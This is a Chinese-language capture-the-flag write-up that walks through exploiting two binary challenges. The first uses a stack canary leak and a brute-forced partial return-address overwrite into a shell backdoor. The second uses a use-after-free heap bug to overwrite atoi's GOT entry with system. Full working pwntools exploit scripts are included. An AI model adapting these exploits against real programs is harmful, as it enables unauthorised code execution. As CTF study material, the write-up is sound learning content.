打开main()函数发现其只调用了sub_9A0();函数。
ssize_t sub_9A0()
{
char s; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&s, 0, 0x1EuLL);
puts("Input your Name:");
read(0, &s, 0x30uLL);
printf("hello %s: and what do your want to sey!\n", &s);
return read(0, &s, 0x60uLL);
}
题目提供了后门函数。
int sub_A71()
{
return system("/bin/sh");
}
动态调试时发现其三保护全开
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled而sub_9A0()
函数有两次输出栈的机会,利用第一次输入覆盖到栈底泄露canary,第二次覆盖返回地址到后门函数上。由于PIE保护的存在,脚本只有1/16的几率正确覆盖返回地址,利用死循环爆破,直到碰上为止。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
while True:
try:
if local == 1:
r=process('./namepie')
#gdb.attach(r,'b * $rebase(0x9ef)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('node3.buuoj.cn',29790)
libc = ELF('./libc-2.23.so')
r.recvuntil('Name:')
r.sendline('a'*(0x30-0x8-1)+'b')
r.recvuntil('aaab')
canary = u64(r.recv(8))-0xa
print 'canary',hex(canary)
r.recvuntil('sey!\n')
r.send('a'*(0x30-8)+p64(canary)+p64(0xdeadbeef)+p16(0x3a71))
sleep(1)
r.sendline('cat flag')
print(r.recv())
r.interactive()
exit()
except:
pass
menu()函数如下。
int sub_4007D6()
{
puts("1:create pad");
puts("2:fill pad");
puts("3:show pad");
puts("4:erase pad");
return puts("your choice >>");
}
分别找出增删改查函数。
增函数 1选项
int sub_40080F()
{
int result; // eax
buf = malloc(0x60uLL);
result = puts("complete!");
dword_6020B8 = 1;
return result;
}
改函数 2选项
int sub_40083B()
{
int result; // eax
printf("fill content:");
read(0, buf, 0x40uLL);
result = puts("complete!");
dword_6020A0 = 1;
return result;
}
查函数 3选项
int sub_400883()
{
int result; // eax
printf("data:%s\n", buf);
result = puts("complete!");
dword_6020B4 = 1;
return result;
}
删函数 4选项
int sub_4008B7()
{
int result; // eax
free(buf);
result = puts("complete!");
dword_6020B8 = 0;
dword_6020B0 = 1;
return result;
}
还有一个隐藏的具有malloc()的选项5
__int64 sub_4008EB()
{
printf("Hero! Leave your name:");
buf = malloc(0x60uLL);
read(0, buf, 0x60uLL);
return (unsigned int)(dword_6020BC++ + 1);
}
每个函数只有一次使用机会,删函数使用后会增加一次增函数的使用机会。free()后指针未置零,仍可以进行改写操作,存在UAF漏洞,且该程序PIE未开,可以直接malloc到堆块地址附近进行改写,然后对GOT表进行改写获取权限。
首先构造UAF对buf变量进行覆盖,并将各增删改查函数的标志位清除。
add()
dele()
edit(p64(0x60208d))
add()
print 'ok'
inside(cyclic(11)+p64(elf.got['atoi'])+p64(0)+p64(0))
然后将buf存的地址改为atoi()的GOT地址泄露libc,并将其改为system()的地址。
r.recvuntil('data:')
#print hex(elf.got['atoi'])
system = u64(r.recv(6)+'\x00\x00')-libc.symbols['atoi']+libc.symbols['system']
print hex(system)
edit(p64(system))
r.sendline('sh')#不知道为什么‘/bin/sh’会提示权限问题
最终exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./onetime')
#gdb.attach(r,'b * malloc')
gdb.attach(r,'b * 0x400992')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('node3.buuoj.cn',29790)
libc = ELF('./libc-2.23.so')
elf = ELF('./onetime')
def add():
r.recvuntil("choice >>")
r.sendline("1")
def edit(content):
r.recvuntil("choice >>")
r.sendline("2")
r.recvuntil("content:")
r.sendline(content)
def show():
r.recvuntil("choice >>")
r.sendline("3")
def dele():
r.recvuntil("choice >>")
r.sendline("4")
def inside(content):
r.recvuntil("choice >>")
r.sendline("5")
r.recvuntil("name:")
r.sendline(content)
add()
dele()
edit(p64(0x60208d))
add()
print 'ok'
inside(cyclic(11)+p64(elf.got['atoi'])+p64(0)+p64(0))
show()
r.recvuntil('data:')
#print hex(elf.got['atoi'])
system = u64(r.recv(6)+'\x00\x00')-libc.symbols['atoi']+libc.symbols['system']
print hex(system)
edit(p64(system))
r.sendline('sh')
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!